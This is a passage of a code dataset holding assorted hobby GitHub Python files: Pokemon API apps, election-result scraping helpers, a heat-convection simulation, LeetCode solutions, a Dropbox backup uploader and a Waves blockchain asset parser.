pokemon[\"Id\"] + '\\n'\n with open('learnableAbilities.csv', 'w') as outfile:\n outfile.write(output)","repo_name":"UnholyCucumber/cs348_cli_pokemon","sub_path":"queries/realdb/learnableAbilities.py","file_name":"learnableAbilities.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"23752569815","text":"from flask import render_template, Blueprint\nfrom movie_data import agregar_informacion\n\nload = Blueprint('load', __name__)\n\nprint('03. Movie load running')\n@load.route('/load')\ndef load_movies():\n message = agregar_informacion()\n return render_template('load.html', datos=message)\n","repo_name":"MiguelQuintero59/flaskpy","sub_path":"views/movie_load.py","file_name":"movie_load.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"74543748036","text":"import re\nimport pandas as pd\nimport json\nimport logging\nimport os\n\n# Configurar logging\nlogging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')\n\ndef extraer_numeros(s):\n result = re.findall(r'\\d+', s)\n return result[0] if result else None\n\n\ndef save_to_excel(df, filename, municipio=None):\n \"\"\"\n Guarda un DataFrame de pandas en un archivo de Excel (.xlsx).\n\n Args:\n - df (pd.DataFrame): DataFrame que deseas guardar.\n - filename (str): Nombre del archivo donde deseas guardar el DataFrame.\n - municipio (int/str, optional): ID del municipio para filtrar el DataFrame. Si es None, procesa todo el df.\n\n Returns:\n None\n \"\"\"\n\n # Si se proporciona un municipio, verificar si el DataFrame tiene la columna 'municipio' y filtrar por ella\n if municipio is not None:\n if 'municipio' in df.columns:\n df = df[df['municipio'] == int(municipio)]\n else:\n logging.error(\"La columna 'municipio' no se encuentra en el DataFrame.\")\n return\n\n try:\n with pd.ExcelWriter(filename, engine='openpyxl') as writer:\n df.to_excel(writer, index=False)\n logging.info(f\"DataFrame guardado con éxito en {filename}\")\n except Exception as e:\n logging.error(f\"Error al guardar el archivo {filename}. Detalles: {e}\")\n\ndef extract_name_colegio(row):\n data = json.loads(row) # Convertir la cadena a una lista\n for item in data:\n if item['level'] == 7.0:\n return item['name']\n\n\ndef extract_circuito(row):\n data = json.loads(row) # Convertir la cadena a una lista\n for item in data:\n if item['level'] == 6.0:\n return item['name']\n\ndef leer_excel(nombre_archivo, limit=None):\n \"\"\"\n Lee un archivo de Excel y devuelve un DataFrame de pandas con la cantidad de filas especificada por 'limit'.\n\n Parámetros:\n - nombre_archivo (str): La ruta o nombre del archivo Excel a leer.\n - limit (int, opcional): El número de filas a devolver. Si no se especifica, devuelve todas las filas.\n\n Devuelve:\n - DataFrame: Contenido del archivo Excel limitado por el parámetro 'limit'.\n \"\"\"\n\n # Usar pandas para leer el archivo de Excel\n df = pd.read_excel(nombre_archivo)\n\n # Si se especifica un límite, devolver solo esas filas\n if limit is not None:\n df = df.head(limit)\n\n return df\n\n\ndef completar_mesas_no_cargadas(data):\n # 1. Filtrar las filas donde \"mesa_cargada\" es \"SI\".\n mesas_cargadas = data[data['mesa_cargada'] == 'SI']\n\n # 2. Calcular el promedio de votos por colegio para ambas listas.\n promedios = mesas_cargadas.groupby('colegio')[['LA FUERZA DEL CAMBIO', 'FALTA MENOS PARA VIVIR SIN MIEDO']].mean()\n\n # 3. Utilizar estos promedios para llenar las mesas donde \"mesa_cargada\" es \"NO\".\n for index, row in data.iterrows():\n if row['mesa_cargada'] == 'NO':\n colegio = row['colegio']\n if colegio in promedios.index:\n data.at[index, 'LA FUERZA DEL CAMBIO'] = round(promedios.loc[colegio, 'LA FUERZA DEL CAMBIO'])\n data.at[index, 'FALTA MENOS PARA VIVIR SIN MIEDO'] = round(promedios.loc[colegio, 'FALTA MENOS PARA VIVIR SIN MIEDO'])\n\n return data\n\n\ndef get_name_from_level(parsed_data, level_target):\n for father in parsed_data['fathers']:\n if father[\"level\"] == level_target:\n return father[\"name\"]\n return None # Retorna None si no encuentra el nivel\n\n\ndef decimal_to_custom_hex(number):\n # Añadir un \"2\" al frente y un \"4\" al final\n modified_number = int(f\"2{number}4\")\n\n # Convertir el número modificado a hexadecimal\n hex_value = hex(modified_number).replace(\"0x\", \"\").upper()\n\n return hex_value\n\ndef ensure_directory_exists(path):\n if not os.path.exists(path):\n os.makedirs(path)\n\n\ndef json_municipios_to_dataframe(json_data):\n # Primero, aplanamos las claves anidadas en el objeto 'id'\n data = {**json_data, **json_data['id'], **json_data['id']['idAmbito']}\n # Eliminamos la clave 'id' original y 'idAmbito' para evitar duplicación\n del data['id']\n del data['idAmbito']\n\n # Convertimos el diccionario aplanado en un DataFrame\n df = pd.DataFrame([data])\n\n return df\n","repo_name":"PabloAlaniz/Scrap-Resultados-Provisorios-Argentina","sub_path":"helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":4261,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"71806174276","text":"# This is a library file for the PCG experiment\nimport cmap as cc\nimport pickle\nimport numpy\nfrom numba import njit\n\n\nclass dataKeeper:\n def __init__(\n self, grid, width, height, rows, cols, sourceActive, mouseRow, mouseCol\n ):\n self.grid = grid\n self.width = width\n self.height = height\n self.rows = rows\n self.cols = cols\n self.sourceActive = sourceActive\n self.mouseRow = mouseRow\n self.mouseCol = mouseCol\n\n\nclass material:\n def __init__(self):\n # default as air\n self.cp = 1.003e3 # J/kg K\n self.ro = 1.29 # kg/m^3\n self.Sigma = 1 * 26e-3 # W/mK\n self.gas = True\n\n\n# Materiały\n\npowietrze = material()\n\n\nclass Cell:\n def __init__(self, x=0, y=0, w=10, h=10, gas=True, temperature=0):\n self.material = powietrze\n\n self.gas = self.material.gas\n self.T = temperature\n self.x = x\n self.y = y\n\n self.w = w\n self.h = h\n\n self.color = (255, 255, 255)\n\n self.dP = 0\n self.area = 0.01 * 1\n self.length = 0.01\n\n self.updateData()\n self.update()\n\n def updateData(self):\n self.mass = self.area * self.length * self.material.ro\n self.Rth = 0.5 * self.length / (self.area * self.material.Sigma)\n self.gas = self.material.gas\n self.massCp = self.mass * self.material.cp\n\n def calc(self, dQ):\n self.T += dQ / self.massCp\n\n def update(self, maxT=255):\n self.color = getColor(self.T, minimum=0, maximum=maxT)\n\n def heat(self, dt):\n self.calc(self.dP * dt)\n\n\ndef borders(Grid, ht=0.01, hs=0.02, h=0):\n\n # top row bonduary condition\n A = 1 - ht\n for cell in Grid[0]:\n cell.T *= A\n # cell.update()\n A = 1 - hs\n\n for row in Grid[h:]:\n row[0].T *= A\n row[0].update()\n\n row[-1].T *= A\n row[-1].update()\n\n\n@njit\ndef heatConduction(cellA, cellB, dt=1 / 1000):\n dT = cellA.T - cellB.T\n\n # Power transferred\n # if (not cellA.gas) and cellB.gas:\n # heatSigma = 1 / (1.0 * cellA.Rth + 1.0 * cellB.Rth)\n # else:\n # heatSigma = 1 / (1.0 * cellA.Rth + 1.0 * cellB.Rth)\n heatSigma = 1 / (1.0 * cellA.Rth + 1.0 * cellB.Rth)\n\n dP = dT * heatSigma\n dQ = dP * dt\n\n cellA.calc(-dQ)\n cellB.calc(dQ)\n\n\n@njit\ndef airSimCond(Grid, arrT, cols, rows, g=True, dt=1e-9):\n \"\"\"\n This procedure manage the main air convection simulation.\n It is somehow similar to cellular automata of a kind.\n\n it is about transmitting temperature to the cells left right and below. And if the temp of the cell is bigger than the average od left bottom and right one - the cell moves up.\n\n To eliminate the numerical viscosity the rows are analyzed from left to right and from right to left alternatively.\n\n \"\"\"\n\n # direction = -1\n for row, cellRow in enumerate(Grid):\n\n # direction *= -1\n # for col, cell in enumerate(cellRow[::direction]):\n for col, cell in enumerate(cellRow):\n # if direction == -1:\n # col = cols - col - 1\n\n # let's make it in the wat that we will deal with the:\n # heat generation\n # conduction\n # convection\n\n # heat generation\n cell.heat(dt)\n # heatGeneration(cell)\n\n if True:\n # As this conduction part is for all type of cells.\n # heat exchange to neighbor cells\n # left\n if col < cols - 1:\n cell2 = cellRow[col + 1]\n cellR = cell2\n heatConduction(cell, cell2, dt=dt)\n\n # right\n if col > 0:\n cell2 = cellRow[col - 1]\n cellL = cell2\n heatConduction(cell, cell2, dt=dt)\n\n # below\n if row < rows - 1:\n cell2 = Grid[row + 1][col]\n cellB = cell2\n heatConduction(cell, cell2, dt=dt)\n\n # above\n if row > 0:\n cell2 = Grid[row - 1][col]\n cellT = cell2\n heatConduction(cell, cell2, dt=dt)\n\n\n@njit\ndef airSimConv(Grid, arrT, cols, rows, g=True, dt=1e-9, maxT=255):\n \"\"\"\n This procedure manage the main air convection simulation.\n It is somehow similar to cellular automata of a kind.\n\n it is about transmitting temperature to the cells left right and below. And if the temp of the cell is bigger than the average od left bottom and right one - the cell moves up.\n\n To eliminate the numerical viscosity the rows are analyzed from left to right and from right to left alternatively.\n\n \"\"\"\n\n # direction = -1\n for row, cellRow in enumerate(Grid):\n\n # direction *= -1\n # for col, cell in enumerate(cellRow[::direction]):\n for col, cell in enumerate(cellRow):\n # if direction == -1:\n # col = cols - col - 1\n\n if cell.gas: # if this is a gas cell\n # the idea to speed up the simulation is to\n # make 5 time more up moves than the convection ones.\n # it's for now only as a kind of hacking thing\n\n # look up - convection\n if row > 0 and g and col > 0 and col < cols - 1:\n\n cellR = cellRow[col + 1]\n cellL = cellRow[col - 1]\n\n if cell.T > cellL.T or cell.T > cellR.T:\n # if we are hotter than others around\n # trying to go up\n cellUp = Grid[row - 1][col]\n if cell.T > cellUp.T and cellUp.gas:\n cell.T, cellUp.T = cellUp.T, cell.T\n # cellUp.update(maxT)\n else:\n cellUp = Grid[row - 1][min(col + 1, cols - 1)]\n\n if cell.T > cellUp.T and cellUp.gas:\n cell.T, cellUp.T = cellUp.T, cell.T\n # cellUp.update(maxT)\n\n else:\n\n cellUp = Grid[row - 1][max(col - 1, 0)]\n\n if cell.T > cellUp.T and cellUp.gas:\n cell.T, cellUp.T = cellUp.T, cell.T\n # cellUp.update(maxT)\n\n else: # no way to move up.\n heatConduction(cell, cellR, dt=dt)\n heatConduction(cell, cellL, dt=dt)\n else:\n # taking care of the not gas cell.\n pass\n\n arrT[row][col] = cell.T\n cell.update(maxT=maxT)\n\n\ndef clamp(A: int, minimum=0, maximum=254):\n return min(maximum, max(minimum, A))\n\n\ndef getColor(A, minimum=0, maximum=200):\n # A = clamp(A, minimum, maximum)\n A = int((A - minimum) / (maximum - minimum) * 255)\n\n return cc.cmap[max(0, min(A, 255))]\n\n\ndef getColorOld(A: int, minimum=0, maximum=254):\n A = clamp(A, minimum, maximum)\n A = int((A - minimum) / (maximum - minimum) * 254)\n R = A\n G = clamp(128 - A)\n B = 255 - A\n\n return (R, G, B)\n","repo_name":"tymancjo/pcg","sub_path":"initial_solution/pcg.py","file_name":"pcg.py","file_ext":"py","file_size_in_byte":7300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"36069369565","text":"#!/usr/bin/python\n# Benjamin Wiens\n# Intersection of Three Sorted Arrays (https://leetcode.com/problems/intersection-of-three-sorted-arrays/)\n\narr1 = [1,2,3,4,5]\narr2 = [1,2,5,7,9]\narr3 = [1,3,4,5,8]\n\nfrom collections import OrderedDict\nclass Solution:\n def arraysIntersection(self, arr1, arr2, arr3):\n hmap = OrderedDict()\n result = []\n for num1 in arr1:\n if num1 not in hmap:\n hmap[num1] = 1\n for num2 in arr2:\n if num2 not in hmap:\n hmap[num2] = 1\n else:\n hmap[num2] += 1\n for num3 in arr3:\n if num3 not in hmap:\n hmap[num3] = 1\n else:\n hmap[num3] += 1\n for key, value in hmap.items():\n if value == 3:\n result.append(key)\n return result\n\nprint(Solution().arraysIntersection(arr1,arr2,arr3))\n","repo_name":"bwiens/leetcode-python","sub_path":"intersection_of_three_sorted_arrays.py","file_name":"intersection_of_three_sorted_arrays.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","stars":97,"dataset":"github-code","pt":"62"} +{"seq_id":"13383816775","text":"import datetime\nimport os\nimport os.path\nimport sys\nimport zipfile\nfrom dropbox import client, session\n\nACCESS_TYPE = 'app_folder'\n\n\nif len(sys.argv) < 3:\n exit('not enough arguments')\n\nif not os.path.exists(sys.argv[1]):\n exit('token file does not exists: ' + sys.argv[1])\n\nprint('reading tokens...')\nwith open(sys.argv[1]) as f:\n lines = f.readlines()\nlines = [item.strip() for item in lines[:4]]\napp_key, app_secret, token_key, token_secret = lines\n\nif not os.path.isdir(sys.argv[2]):\n exit('source path is not a directory: ' + sys.argv[2])\n\nsrc_dir = sys.argv[2].strip(os.path.sep + os.path.altsep)\nts = datetime.datetime.now().strftime(\"%Y%m%d%H%M\")\nzip_file = \"%s_%s.zip\" % (ts, os.path.basename(src_dir))\n\nprint(\"archiving '%s' to '%s'...\" % (src_dir, zip_file))\nwith zipfile.ZipFile(zip_file, 'w') as z:\n for root, dirs, files in os.walk(sys.argv[2]):\n for file_name in files:\n full_path = os.path.join(root, file_name)\n print(' ' + full_path)\n z.write(full_path)\n\nprint('uploading to dropbox...')\nsess = session.DropboxSession(app_key, app_secret, ACCESS_TYPE)\nsess.set_token(token_key, token_secret)\nclient = client.DropboxClient(sess)\nresponse = client.put_file('/' + zip_file, open(zip_file).read(),\n overwrite=True, parent_rev=None)\n\nos.unlink(zip_file)\nprint('done')\n","repo_name":"dreikanter/dropbox-uploader","sub_path":"dbup.py","file_name":"dbup.py","file_ext":"py","file_size_in_byte":1363,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"74578554437","text":"class ListNode(object):\r\n def __init__(self, x):\r\n self.val = x\r\n self.next = None\r\n\r\n\r\n\"\"\"not efficient solution\"\"\"\r\n# class Solution(object):\r\n# def rotateRight(self, head, k):\r\n# if head is None or head.next is None:\r\n# return head\r\n# last = head.next\r\n# last_second = head\r\n# count = 2\r\n# while last.next is not None:\r\n# last_second = last\r\n# last = last.next\r\n# count += 1\r\n#\r\n# for _ in range(k % count):\r\n# while last.next is not None:\r\n# last_second = last\r\n# last = last.next\r\n# last.next = head\r\n# last_second.next = None\r\n# head = last\r\n# return head\r\n\r\n\r\nclass Solution(object):\r\n def rotateRight(self, head, k):\r\n if head is None or head.next is None:\r\n return head\r\n last = head.next\r\n start = head\r\n count = 2\r\n while last.next is not None:\r\n last = last.next\r\n count += 1\r\n\r\n k %= count\r\n if k == 0:\r\n return head\r\n for _ in range(count-k-1):\r\n start = start.next\r\n temp = start.next\r\n start.next = None\r\n last.next = head\r\n return temp\r\n","repo_name":"learlinian/Python-Leetcode-Solution","sub_path":"61. Rotate List.py","file_name":"61. Rotate List.py","file_ext":"py","file_size_in_byte":1301,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"62"} +{"seq_id":"13277927620","text":"from bs4 import BeautifulSoup\nimport requests\nimport json\n# import requests_cache \n\n# 設定とHTML取得,構文解析\nHEADERS = {'User-Agent': 'Mozilla/5.0'} \nresponse = requests.get('https://ja.wikipedia.org/wiki/%E5%9C%B0%E9%9C%87%E3%81%AE%E5%B9%B4%E8%A1%A8', headers=HEADERS) # HTML取得\nsoup = BeautifulSoup(response.content, \"lxml\")\n\n# 目当てのtable要素を取得\n#main = soup.select_one('.mw-parser-output')\n\ndef make_data2():\n data = []\n d = dict(location=\"発生地域\",year=\"9999\",name=\"地震名\")\n data.append(d)\n location_list = location()\n location_num = -1\n year = ''\n name = ''\n count = 0\n for li in soup.select('ul')[2:]:\n text = li.text\n text = text.split()\n text_year = [s for s in text if ('年' and '月' and '日') in s]\n idx = 0\n for i in range(len(text_year)):\n target = '。'\n if target in text_year[i]:\n idx = text_year[i].find(target) # 半角空白文字のインデックスを検索\n text_year[i] = 'del'\n if 'del' in text_year: text_year.remove('del')\n text_name = [s for s in text if '地震' in s]\n #text_M = [s for s in text if 'M' in s]\n if len(text_year) != 0:\n if len(text_year) == len(text_name):\n for i in range(len(text_year)):\n year = text_year[i]\n target = '年'\n if target in year:\n idx = year.find(target) # 半角空白文字のインデックスを検索\n year = year[:idx] # スライスで半角空白文字のインデックスまでを抽出\n target = '、'\n if target in year:\n idx = year.find(target) # 半角空白文字のインデックスを検索\n year = year[idx+1:] # スライスで半角空白��字のインデックス後を抽出\n name = text_name[i]\n #M = text_M[i]\n try:\n if year != '' and name != '':\n if int(year) < int(data[-1]['year']): #前の年よりも小さいならlocation変更\n location_num += 1\n d = dict(location=location_list[location_num],year=int(year),name=name)\n data.append(d)\n except ValueError:\n pass\n return data[1:]","repo_name":"kenv0317/EQdata","sub_path":"scraping.py","file_name":"scraping.py","file_ext":"py","file_size_in_byte":2554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"32288862564","text":"from separate_func import get_output\nfrom datetime import datetime\n\n\n# A function that returns nothing\ndef return_none():\n pass\n\nget_output(\n \"# A function that returns nothing\\n\",\n \"This function returns nothing: \",\n return_none())\n\n\n# Number multiplication\ndef mul_num(x):\n return x * 2\n\nget_output(\n \"# Number multiplication\\n\",\n \"Result of multiplication: \",\n mul_num(35))\n\n\n# Even number or not?\ndef is_even(x):\n if x % 2 == 0:\n return \"{} is Even\".format(x)\n else:\n return \"{} is not even\".format(x)\n\nget_output(\n \"# Even number or not?\\n\",\n \"This number \",\n is_even(222))\nget_output(\"This number \", is_even(223))\nget_output(\"This number \", is_even(224))\nget_output(\"This number \", is_even(225))\n\n\n# Greater than 10 task\ndef is_greater(*args):\n l = list(args)\n if l[0] > 10:\n return \"Yes, this number - {} - greater than 10\".format(l[0])\n else:\n return \"No, this number - {} - not greater than 10\".format(l[0])\n\nget_output(is_greater(17, 25))\nget_output(is_greater(5, 25))\nget_output(is_greater(16, 25))\n\n\n# Lambda function with modulo division\ndef modulo():\n return lambda x, y: x % y\n\nmy_modulo = modulo()\n\nget_output(\n \"# Lambda function with modulo division\\n\",\n \"Result of modulo division: \",\n my_modulo(12, 7))\nget_output(\"Result of modulo division: \", my_modulo(78, 33))\nget_output(\"Result of modulo division: \", my_modulo(-78, 33))\nget_output(\"Result of modulo division: \", my_modulo(9, 90))\n\n\n# Work with decorators\ndef decorate_lst(func):\n def wrapper(*args, **kwargs):\n start = datetime.now()\n result = func(*args, **kwargs)\n time = datetime.now() - start\n '''\n In this case, because decorate_lst works first in 80 string,\n i output time varible, not result.\n Chain of functions - decorate_list -> gen_lst -> gen output\n '''\n return time\n return wrapper\n\n\n@decorate_lst\ndef gen_lst(n):\n lst = []\n for i in range(n):\n if i % 2 == 0:\n lst.append(i * 2)\n return len(lst)\n\n\n@decorate_lst\ndef gen_fast_lst(n):\n lst = [i * 3 for i in range(n) if i % 2 != 0]\n return len(lst)\n\nget_output(\n \"# Work with decorators\\n\",\n \"Slow list generation by {} seconds\\n\".format(gen_lst(10 ** 5)),\n \"and faster list deneration {}\".format(gen_fast_lst(10 ** 5)))\n\n# Use map and filter functions\n\nlst1 = [i for i in range(1, 10, 2)]\n# Squared elements of list\nsq = list(map(lambda x: x * 2, lst1))\n\n# Even elements of list\nev = list(filter(lambda x: True if x % 3 == 0 else False, lst1))\n\nget_output(\n \"# Use map and filter functions\\n\",\n \"Result of map function: {}\\n\".format(sq),\n \"Result of filter function: {}\".format(ev))\n\n# Impure function\nnew_lst = []\n\n\ndef impure(*args):\n for i in args:\n new_lst.append(i)\n global new_lst_len\n new_lst_len = len(new_lst)\n return new_lst[-1]\n\nget_output(\n \"# Impure function\\n\",\n impure(\n \"Marvin\", \"the\",\n \"Paranoid\", \"Android\",\n \"This is impure function: \"),\n \"\\n\",\n new_lst,\n \"\\n\",\n \"List length: {}\".format(new_lst_len))\n\n\n# Pure function\ndef pure(lst, *args):\n return lst + list(args)\n\nsome_list = []\nnew_list = pure(some_list, \"Marvin\", \"the\")\n\n\nget_output(\n \"# Pure function\\n\",\n new_list,\n \"\\n\",\n \"Pure function not changed global varible: {}\".format(some_list))\n\n\n# Find min and max numbers in list\ndef find_min_max(lst):\n min_elem = lst[0]\n max_elem = lst[0]\n for i in lst:\n if min_elem > i:\n min_elem = i\n if max_elem < i:\n max_elem = i\n return \"Function returns min {} and max {} list elements\".format(\n min_elem,\n max_elem)\n\nget_output(find_min_max([5, 75, 13, 325, -7, 64, -324, 17, 999, 1247, -9999]))\n\n\n# Intercalary year\ndef is_intercalary_year(year):\n if (year % 4 != 0) or (year % 100 == 0 and year % 400 != 0):\n return \"{} - this is not intercalary year\".format(False)\n else:\n return \"{} - this is intercalary year\".format(True)\n\nget_output(\n \"# Intercalary year\\n\",\n is_intercalary_year(2019))\n\n\n# Get season actions\ndef season(month_num):\n winter = [1, 2, 12]\n spring = [3, 4, 5]\n summer = [6, 7, 8]\n autumn = [9, 10, 11]\n\n if month_num in winter:\n return \"Winter is coming - watch out for white walkers\"\n elif month_num in spring:\n return \"Spring rains - take umbrella\"\n elif month_num in summer:\n return \"Summer is hot - take cold limonade\"\n elif month_num in autumn:\n return \"Autumn gives paints take photo camera\"\n else:\n return \"{} - incorrect input data\".format(month_num)\n\nget_output(\n \"# Get season actions{}\".format(\"\\n\"),\n season(12),\n \"\\n\" * 2,\n season(3),\n \"\\n\" * 2,\n season(7),\n \"\\n\" * 2,\n season(11),\n \"\\n\" * 2,\n season(24))\n\n\n# Date verifying\ndef date(day, month, year):\n year_num_len = len(str(year))\n\n if is_intercalary_year(year):\n feb = 28\n else:\n feb = 29\n\n month_days = (31, feb, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31)\n\n if (day not in range(1, 32)) or (\n month not in range(1, 13)) or (\n year_num_len not in range(1, 5)):\n return \"Incorrect input\"\n elif (day > month_days[month - 1]):\n return \"Incorrect input\"\n else:\n return \"Correct input\"\n\nget_output(\n \"# Date verifying\\n\",\n date(30, 6, 2018))\nget_output(\n \"# Date verifying\\n\",\n date(31, 6, 2018))\n\n# Sorted list\nunsorted_list = [\n 1, 25.6, 17, \"Marvin\", [], \"Android\", 778, 36,\n 98.5, -17, False, {1: \"1\"}, \"Paranoid\", True, (1,),\n 25, 368, 49, -18.5, 256, [\"Hello\", \"World\"], \"!\"]\n\n\n# Numbers selection from list with different types of literal\ndef num_selection(arr):\n num_arr = []\n for i in arr:\n if type(i) is int or type(i) is float:\n num_arr = num_arr + [i]\n return num_arr\n\n\n# Getting index of minimal element of list\ndef get_min_ndx(arr):\n min_elem = arr[0]\n ndx_min_elem = 0\n len_arr = len(arr)\n\n for i in range(1, len_arr):\n if min_elem > arr[i]:\n min_elem = arr[i]\n ndx_min_elem = i\n\n return ndx_min_elem\n\n\n# Sort by selection of the unsorted list\ndef selection_sort(arr):\n sorted_lst = []\n len_arr = len(arr)\n for i in range(len_arr):\n smallest_ndx = get_min_ndx(arr)\n sorted_lst.append(arr.pop(smallest_ndx))\n return sorted_lst\n\nget_output(\n \"# Sorted list\\n\",\n selection_sort(num_selection(unsorted_list)))\n","repo_name":"MrChester/python_course","sub_path":"tasks/lesson5_functions/fun_functions.py","file_name":"fun_functions.py","file_ext":"py","file_size_in_byte":6516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"1734954863","text":"# https://www.algoexpert.io/questions/Number%20Of%20Ways%20To%20Make%20Change\n# Number Of Ways To Make Change\n# Level: Medium\n# Given an array of positive integers representing coin denominations and a single non-negative integer representing a\n# target amount of money, implement a function that returns the number of ways to make change for that target amount\n# using the given coin denominations. Note that an unlimited amount of coins is at your disposal.\n\n# Sample input: 6, [1, 5]\n# Sample output: 2 (1x1 + 1x5 and 6x1)\n\n\n# Time: O(nd); d is number of denomination\n# Space: O(n); n is target amount\n\ndef numberOfWaysToMakeChange(n, denoms):\n ways = [0 for amount in range(n+1)] # build an array (0) represents ways\n ways[0] = 1 # only one way to get 0, doing nothing\n for denom in denoms: # for every value in denoms\n for amount in range(1, n+1): # for every amount upto n (given amount)\n if denom <= amount: # when the denom is less or equal to the amount\n # print('ways[amount], ways[denom], ways[amount-denom]:', ways[amount], ways[denom], ways[amount-denom])\n ways[amount] += ways[amount - denom] # ways of current amount + ways for previous amount\n # print('ways[amount]:', ways[amount])\n # print()\n # print(\"ways[n]\", ways[n])\n return ways[n]\n\n# numberOfWaysToMakeChange(6, [1,5])","repo_name":"henrylin2008/Coding_Problems","sub_path":"Dynamic Programming/numberOfWaysToMakeChange.py","file_name":"numberOfWaysToMakeChange.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"40750114915","text":"'''\nсперва\n'''\nfrom __future__ import unicode_literals\n\nimport sys\n\nimport numpy as np\nimport pandas as pd\n\n# In[2]:\n\nimport requests\nimport math\nimport time\nimport argparse\nimport threading\n\nfrom django.core.management.base import BaseCommand, CommandError\n\nfrom asset.models import Asset, Waves\nfrom django.db import IntegrityError\n\n\nnode = '178.238.236.94'\nnthreads = 10\n\nclass Command(BaseCommand):\n help = 'Migrate'\n\n\n print ('**************Pars waves blockchain******************')\n#тут начинается цикл команды manage.py\n def handle(self, *args, **options):\n node = '178.238.236.94'\n nthreads = 10\n\n def blocks_reader(seq_from, seq_to, index):\n print (seq_from, seq_to)\n thread_blocks[index] = requests.get('http://%s:6869/blocks/seq/%d/%d' % (node, seq_from, seq_to)).json()\n\n\n # In[3]:\n\n max_days = -1\n max_assets = -1\n ndays = 0\n count = 0\n last = requests.get('http://' + node + ':6869/blocks/height').json()['height']\n print ('last ',last)\n prevdate = ''\n asset_txs={}\n\n wheight = Waves.objects.order_by('-id')\n if wheight:\n block_with_first_asset = wheight[0].height - 100\n else:\n block_with_first_asset = 10000\n\n\n print ('block_with_first_asset ',block_with_first_asset)\n\n data = pd.DataFrame()\n args = {}\n\n\n\n\n # In[4]:\n\n\n\n for n in range(int(math.ceil((last - block_with_first_asset) / (nthreads * 100)) + 1)):\n print (n)\n thread_blocks = []\n thread=[]\n for t in range(nthreads):\n thread_blocks.append('')\n thread.append(threading.Thread(target=blocks_reader, args=(max(1, last - (n + 1) * (nthreads * 100) + t*100 + 1), last - n * (nthreads * 100) - ((nthreads * 100) - 100) + t*100, t)))\n thread[t].start()\n blocks=[]\n for t in range(nthreads):\n thread[t].join()\n blocks = blocks + thread_blocks[t]\n for block in reversed(blocks):\n txs = block['transactions']\n for tx in reversed(txs):\n date = time.strftime('%m/%d/%Y', time.gmtime(tx['timestamp']/1000.))\n if date!=prevdate:\n if ndays == max_days:\n raise\n ndays +=1\n prevdate = date\n\n if tx['type']==3:\n txdata = pd.DataFrame.from_dict(tx, orient='index').transpose()\n data = data.append(txdata, ignore_index=True)\n\n # print (tx)\n if count == max_assets:\n raise\n issue_time = time.strftime('%m/%d/%Y %H:%M:%S', time.gmtime(tx['timestamp']/1000.))\n issuer = tx['sender']\n assetid = tx['assetId']\n name = tx['name'][:20].encode('ascii', 'ignore')\n description = tx['description']\n qt = tx['quantity']\n dec = tx['decimals']\n amount = '{:.{prec}f}'.format(qt / 10. ** dec, prec=dec)\n if tx['assetId'] in asset_txs:\n txcount = asset_txs[tx['assetId']]\n else:\n txcount = 0\n if txcount > 0:\n count += 1\n print (\"%6d %-45s %-20s %24s\" % (count, assetid, name, amount))\n elif tx['type']==4:\n if tx['assetId'] in asset_txs:\n asset_txs[tx['assetId']] += 1\n else:\n asset_txs[tx['assetId']] = 0\n\n\n\n # In[5]:\n\n data2 = data.set_index(['assetId'])\n data2 = data\n\n # data2['timestamp'] = pd.to_datetime((data2['timestamp']),unit='ns')\n data2['amount'] = data2[['quantity']].apply(lambda x: x/10. ** data2['decimals']).astype(int)\n data2['sender_id'] = data2['sender']\n data2['token_id'] = data2['id']\n\n data3 = data2[['name','amount','description','reissuable','token_id','sender_id']]\n\n\n asset_dict = data3.transpose().to_dict(orient='dict')\n\n# name','amount','description','reissuable','token_id','sender_id'\n for key,value in asset_dict.items():\n asset_row = Asset(**asset_dict[key])\n\n try:\n asset_row.save()\n print (asset_row.token_id,asset_row.name)\n\n except IntegrityError:\n print(str(asset_row.token_id) +' -skip')\n\n\n\n\n\n waves_height = Waves(\n height = last,\n )\n print(waves_height.__dict__)\n waves_height.save()\n print(waves_height.id)\n\n# выводит что все нормально\n self.stdout.write(self.style.SUCCESS('Successfully ' ))\n\n\n#\n# if __name__ == '__main__':\n# categories()\n","repo_name":"10token/10token.info","sub_path":"10token/asset/management/commands/parse_assets.py","file_name":"parse_assets.py","file_ext":"py","file_size_in_byte":5114,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"9364744428","text":"import json\nfrom random import randint\nfrom array import array\nfrom webbrowser import get\nfrom flask import Flask, render_template\nimport requests\n\n\nurl_api = 'https://pokeapi.co/api/v2/pokemon/'\n\napp = Flask(__name__)\n\n@app.route('/')\ndef main():\n nombres = []\n fotos = []\n numeroPoke = []\n tipo = []\n peso = []\n altura = []\n\n for i in range(0, 6):\n\n #Obtine un poquemon random\n result_0 = randint(1, 800)\n pokemon_name = str(result_0)\n numeroPoke.append(result_0)\n pokemon_data_url = url_api + pokemon_name\n data = get_pokemon_data(pokemon_data_url)\n\n #Obtiene una imagaen\n res = json.loads(requests.get(pokemon_data_url).text)\n image = res['sprites']\n image = image['front_default']\n fotos.append(image)\n\n #obtiene el nombre del pokemon\n nombre_pokemon = data.get(\"name\")\n nombres.append(nombre_pokemon)\n\n #obtiene el tipo del pokemon\n pokemon_type = [types['type']['name'] for types in data['types']]\n tipo.append(\", \".join(pokemon_type))\n\n #obtiene el peso del pokemon\n pokemon_peso = data.get(\"weight\")\n peso.append(pokemon_peso)\n\n #obtiene la altura del pokemon\n pokemon_altura = 